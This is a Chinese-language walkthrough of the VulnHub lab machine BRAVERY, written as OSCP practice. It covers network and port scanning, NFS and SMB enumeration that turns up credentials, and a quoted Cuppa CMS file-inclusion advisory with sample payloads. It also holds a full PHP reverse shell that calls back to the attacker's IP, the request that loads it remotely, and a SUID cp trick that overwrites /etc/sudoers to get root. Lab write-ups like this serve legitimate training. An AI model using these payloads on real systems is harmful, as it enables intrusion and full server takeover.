0x01 环境
靶机地址：
https://www.vulnhub.com/entry/digitalworldlocal-bravery,281/
0x02 过程
1.信息收集
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# netdiscover -r 192.168.60.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
22 Captured ARP Req/Rep packets, from 9 hosts. Total size: 1320
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.60.97 08:00:27:5a:72:45 2 120 PCS Systemtechnik GmbH
发现IP：192.168.60.97
端口开放情况
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# nmap --min-rate 10000 -p- 192.168.60.97
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 22:06 EDT
Nmap scan report for bravery (192.168.60.97)
Host is up (0.000098s latency).
Not shown: 65522 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
2049/tcp open nfs
3306/tcp open mysql
8080/tcp open http-proxy
20048/tcp open mountd
40263/tcp open unknown
56186/tcp open unknown
MAC Address: 08:00:27:5A:72:45 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.48 seconds
2.思路
端口有点多，先看看nfs有什么
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# showmount -e 192.168.60.97
Export list for 192.168.60.97:
/var/nfsshare *
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mkdir /tmp/nfsshare
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mount 192.168.60.97:/var/nfsshare /tmp/nfsshare
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cd /tmp/nfsshare
┌──(root㉿kali)-[/tmp/nfsshare]
└─# tree .
.
├── discovery
├── enumeration
├── explore
├── itinerary
│ └── david
├── password.txt
├── qwertyuioplkjhgfdsazxcvbnm
└── README.txt
2 directories, 7 files
┌──(root㉿kali)-[/tmp/nfsshare]
└─# cat itinerary/david
David will need to fly to various cities for various conferences. Here is his schedule.
1 January 2019 (Tuesday):
New Year's Day. Spend time with family.
2 January 2019 (Wednesday):
0900: Depart for airport.
0945: Check in at Changi Airport, Terminal 3.
1355 - 2030 hrs (FRA time): Board flight (SQ326) and land in Frankfurt.
2230: Check into hotel.
3 January 2019 (Thursday):
0800: Leave hotel.
0900 - 1700: Attend the Banking and Enterprise Conference.
1730 - 2130: Private reception with the Chancellor.
2230: Retire in hotel.
4 January 2019 (Friday):
0800: Check out from hotel.
0900: Check in at Frankfurt Main.
1305 - 1355: Board flight (LH1190) and land in Zurich.
1600 - 1900: Dinner reception
2000: Check into hotel.
5 January 2019 (Saturday):
0800: Leave hotel.
0930 - 1230: Visit University of Zurich.
1300 - 1400: Working lunch with Mr. Pandelson
1430 - 1730: Dialogue with students at the University of Zurich.
1800 - 2100: Working dinner with Mr. Robert James Miller and wife.
2200: Check into hotel.
6 January 2019 (Sunday):
0730: Leave hotel.
0800 - 1100: Give a lecture on Software Security and Design at the University of Zurich.
1130: Check in at Zurich.
1715 - 2025: Board flight (LX18) and land in Newark.
2230: Check into hotel.
7 January 2019 (Monday):
0800: Leave hotel.
0900 - 1200: Visit Goldman Sachs HQ
1230 - 1330: Working lunch with Bill de Blasio
1400 - 1700: Visit McKinsey HQ
1730 - 1830: Visit World Trade Center Memorial
2030: Return to hotel.
8 January 2019 (Tuesday):
0630: Check out from hotel.
0730: Check in at Newark.
0945 - 1715 (+1): Board flight (SQ21)
9 January 2019 (Wednesday):
1715: Land in Singapore.
1815 - 2015: Dinner with wife.
2100: Clear local emails and head to bed.
┌──(root㉿kali)-[/tmp/nfsshare]
└─# cat password.txt
Passwords should not be stored in clear-text, written in post-its or written on files on the hard disk
得到可能的用户密码
david
qwertyuioplkjhgfdsazxcvbnm
拿着刚才得到的用户密码，查看smb有什么
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# enum4linux -S 192.168.60.97
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Jun 12 22:27:36 2023
=========================================( Target Information )=========================================
Target ........... 192.168.60.97
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===========================( Enumerating Workgroup/Domain on 192.168.60.97 )===========================
[+] Got domain/workgroup name: WORKGROUP
===================================( Session Check on 192.168.60.97 )===================================
[+] Server 192.168.60.97 allows sessions using username '', password ''
================================( Getting domain SID for 192.168.60.97 )================================
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=================================( Share Enumeration on 192.168.60.97 )=================================
Sharename Type Comment
--------- ---- -------
anonymous Disk
secured Disk
IPC$ IPC IPC Service (Samba Server 4.7.1)
Reconnecting with SMB1 for workgroup listing.
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP BRAVERY
[+] Attempting to map shares on 192.168.60.97
//192.168.60.97/anonymous Mapping: OK Listing: OK Writing: N/A
//192.168.60.97/secured Mapping: DENIED Listing: N/A Writing: N/A
[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.60.97/IPC$ Mapping: N/A Listing: N/A Writing: N/A
enum4linux complete on Mon Jun 12 22:27:36 2023
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mkdir /tmp/secured
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# mount //192.168.60.97/secured /tmp/secured -o username=david
Password for david@//192.168.60.97/secured:
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cd /tmp/secured
┌──(root㉿kali)-[/tmp/secured]
└─# tree .
.
├── david.txt
├── genevieve.txt
└── README.txt
1 directory, 3 files
┌──(root㉿kali)-[/tmp/secured]
└─# cat david.txt
I have concerns over how the developers are designing their webpage. The use of "developmentsecretpage" is too long and unwieldy. We should cut short the addresses in our local domain.
1. Reminder to tell Patrick to replace "developmentsecretpage" with "devops".
2. Request the intern to adjust her Favourites to http://<developmentIPandport>/devops/directortestpagev1.php.
┌──(root㉿kali)-[/tmp/secured]
└─# cat genevieve.txt
Hi! This is Genevieve!
We are still trying to construct our department's IT infrastructure; it's been proving painful so far.
If you wouldn't mind, please do not subject my site (http://192.168.254.155/genevieve) to any load-test as of yet. We're trying to establish quite a few things:
a) File-share to our director.
b) Setting up our CMS.
c) Requesting for a HIDS solution to secure our host.
┌──(root㉿kali)-[/tmp/secured]
└─# cat README.txt
README FOR THE USE OF THE BRAVERY MACHINE:
Your use of the BRAVERY machine is subject to the following conditions:
1. You are a permanent staff in Good Tech Inc.
2. Your rank is HEAD and above.
3. You have obtained your BRAVERY badges.
For more enquiries, please log into the CMS using the correct magic word: goodtech.
发现路径genevieve
查看80端口，发现只是个测速页面
进入刚才发现的路径，发现新的内容
点击Internal Use Only进入到登录界面，发现cuppacms
搜索漏洞
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# searchsploit cuppa
------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------- ---------------------------------
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt
------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# ls
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# searchsploit -m php/webapps/25971.txt
Exploit: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion
URL: https://www.exploit-db.com/exploits/25971
Path: /usr/share/exploitdb/exploits/php/webapps/25971.txt
Codes: OSVDB-94101
Verified: True
File Type: C++ source, ASCII text, with very long lines (876)
Copied to: /home/kali/Desktop/oscp/25971.txt
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# cat 25971.txt
# Exploit Title : Cuppa CMS File Inclusion
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version : Beta
# Tested on : Window and Linux
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
####################################
VULNERABILITY: PHP CODE INJECTION
####################################
/alerts/alertConfigField.php (LINE: 22)
-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------
#####################################################
DESCRIPTION
#####################################################
An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.
http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]
#####################################################
EXPLOIT
#####################################################
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
Moreover, We could access Configuration.php source code via PHPStream
For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------
Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------
Base64 Decode Output:
-----------------------------------------------------------------------------
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = "Db@dmin";
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";
}
?>
-----------------------------------------------------------------------------
Able to read sensitive information via File Inclusion (PHP Stream)
################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
发现远程文件包含漏洞
编写webshell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.60.45';
$port = 8080;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
准备http服务
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
http://192.168.60.97/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=http://192.168.60.45/shell.php
得到反弹shell
┌──(root㉿kali)-[/home/kali/Desktop/oscp]
└─# nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.60.45] from (UNKNOWN) [192.168.60.97] 52670
Linux bravery 3.10.0-862.3.2.el7.x86_64 #1 SMP Mon May 21 23:36:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
22:43:47 up 18:55, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
sh: no job control in this shell
sh-4.2$ ls
ls
bin dev home lib64 media opt root samba srv tmp var
boot etc lib local.txt mnt proc run sbin sys usr
sh-4.2$ cat local.txt
cat local.txt
Congratulations on obtaining a user shell. :)
提权过程
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ find / -user root -perm -4000 2>/dev/null
find / -user root -perm -4000 2>/dev/null
/usr/bin/cp
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/Xorg
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/ksu
/usr/bin/at
/usr/bin/staprun
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/sbin/userhelper
/usr/sbin/mount.nfs
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/flatpak-bwrap
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/selinux_child
/usr/libexec/sssd/proxy_child
/usr/libexec/qemu-bridge-helper
/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper
bash-4.2$ LFILE=/etc/sudoers
LFILE=/etc/sudoers
bash-4.2$ echo "apache ALL=(ALL) NOPASSWD:ALL" | /usr/bin/cp /dev/stdin "$LFILE"
<(ALL) NOPASSWD:ALL" | /usr/bin/cp /dev/stdin "$LFILE"
bash-4.2$ sudo su
sudo su
[root@bravery /]# id
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:httpd_t:s0
[root@bravery /]# ls /root
ls /root
Desktop Downloads Pictures Templates anaconda-ks.cfg ossec-hids-2.8
Documents Music Public Videos author-secret.txt proof.txt
[root@bravery /]# cat /root/proof.txt
cat /root/proof.txt
Congratulations on rooting BRAVERY. :)
[root@bravery /]# cat /root/author-secret.txt
cat /root/author-secret.txt
For those of you who have rooted the MERCY box, welcome back.
Some of you who rooted the MERCY box had an interest on who the author is, and what he might be doing. :-)
If you would like to contact the author, please feel free to find the author at his website: https://donavan.sg
[root@bravery /]#
发现存在suid的cp命令，直接提权到root
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